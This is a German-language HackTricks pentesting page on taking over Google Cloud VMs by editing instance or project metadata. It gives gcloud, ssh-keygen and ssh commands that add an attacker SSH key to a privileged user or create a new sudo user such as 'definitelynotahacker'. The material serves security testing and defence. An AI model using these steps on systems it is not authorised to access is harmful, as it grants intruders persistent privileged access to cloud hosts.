GCP - Add Custom SSH Metadata

GCP - Fügen Sie benutzerdefinierte SSH-Metadaten hinzu

Unterstützen Sie HackTricks

Ändern der Metadaten

Die Änderung der Metadaten auf einer Instanz könnte zu erheblichen Sicherheitsrisiken führen, wenn ein Angreifer die erforderlichen Berechtigungen erlangt.

Integration von SSH-Schlüsseln in benutzerdefinierte Metadaten

Auf GCP führen Linux-Systeme häufig Skripte aus der Python Linux Guest Environment for Google Compute Engine aus. Ein kritischer Bestandteil davon ist der Accounts-Daemon, der dazu dient, regelmäßig den Metadaten-Endpunkt der Instanz auf Aktualisierungen der autorisierten SSH-Öffentlichen Schlüssel zu überprüfen.

Wenn ein Angreifer also benutzerdefinierte Metadaten ändern kann, könnte er den Daemon dazu bringen, einen neuen öffentlichen Schlüssel zu finden, der verarbeitet und in das lokale System integriert wird. Der Schlüssel wird in die Datei ~/.ssh/authorized_keys eines bestehenden Benutzers hinzugefügt oder möglicherweise wird ein neuer Benutzer mit sudo-Rechten erstellt, abhängig vom Format des Schlüssels. Und der Angreifer wird in der Lage sein, den Host zu kompromittieren.

SSH-Schlüssel zu einem bestehenden privilegierten Benutzer hinzufügen

  1. Überprüfen Sie die vorhandenen SSH-Schlüssel auf der Instanz:

  • Führen Sie den Befehl aus, um die Instanz und ihre Metadaten zu beschreiben, um vorhandene SSH-Schlüssel zu finden. Der relevante Abschnitt in der Ausgabe befindet sich unter metadata, speziell dem Schlüssel ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Achten Sie auf das Format der SSH-Schlüssel: Der Benutzername steht vor dem Schlüssel, getrennt durch einen Doppelpunkt.

  1. Bereiten Sie eine Textdatei für die SSH-Schlüsselmetadaten vor:

  • Speichern Sie die Details der Benutzernamen und ihrer entsprechenden SSH-Schlüssel in einer Textdatei mit dem Namen meta.txt. Dies ist wichtig, um die vorhandenen Schlüssel zu erhalten, während neue hinzugefügt werden.

  1. Generieren Sie einen neuen SSH-Schlüssel für den Zielbenutzer (alice in diesem Beispiel):

  • Verwenden Sie den Befehl ssh-keygen, um einen neuen SSH-Schlüssel zu generieren, wobei sichergestellt wird, dass das Kommentarfeld (-C) mit dem Zielbenutzernamen übereinstimmt.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Fügen Sie den neuen öffentlichen Schlüssel zu meta.txt hinzu, wobei Sie das Format nachahmen, das in den Metadaten der Instanz gefunden wurde.

  1. Aktualisieren Sie die SSH-Schlüsselmetadaten der Instanz:

  • Wenden Sie die aktualisierten SSH-Schlüsselmetadaten auf die Instanz an, indem Sie den Befehl gcloud compute instances add-metadata verwenden.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Greifen Sie mit dem neuen SSH-Schlüssel auf die Instanz zu:

  • Stellen Sie eine Verbindung zur Instanz mit SSH unter Verwendung des neuen Schlüssels her und greifen Sie auf die Shell im Kontext des Zielbenutzers (alice in diesem Beispiel) zu.

ssh -i ./key alice@localhost
sudo id

Einen neuen privilegierten Benutzer erstellen und einen SSH-Schlüssel hinzufügen

Wenn kein interessanter Benutzer gefunden wird, ist es möglich, einen neuen zu erstellen, dem sudo-Rechte gewährt werden:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH-Schlüssel auf Projektebene

Es ist möglich, den Zugriff auf SSH für mehrere virtuelle Maschinen (VMs) in einer Cloud-Umgebung zu erweitern, indem SSH-Schlüssel auf Projektebene angewendet werden. Dieser Ansatz ermöglicht den SSH-Zugriff auf jede Instanz innerhalb des Projekts, die nicht ausdrücklich die projektweiten SSH-Schlüssel blockiert hat. Hier ist eine zusammengefasste Anleitung:

  1. SSH-Schlüssel auf Projektebene anwenden:

  • Verwenden Sie den Befehl gcloud compute project-info add-metadata, um SSH-Schlüssel aus meta.txt zu den Metadaten des Projekts hinzuzufügen. Diese Aktion stellt sicher, dass die SSH-Schlüssel in allen VMs des Projekts erkannt werden, es sei denn, eine VM hat die Option "Projektweite SSH-Schlüssel blockieren" aktiviert.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH in Instanzen mit projektweiten Schlüsseln:

  • Mit den projektweiten SSH-Schlüsseln können Sie in jede Instanz innerhalb des Projekts SSH-en. Instanzen, die projektweite Schlüssel nicht blockieren, akzeptieren den SSH-Schlüssel und gewähren Zugriff.

  • Eine direkte Methode, um in eine Instanz SSH zu erhalten, ist die Verwendung des Befehls gcloud compute ssh [INSTANCE]. Dieser Befehl verwendet Ihren aktuellen Benutzernamen und die auf Projektebene festgelegten SSH-Schlüssel, um den Zugriff zu versuchen.

Referenzen

Unterstützen Sie HackTricks

Last updated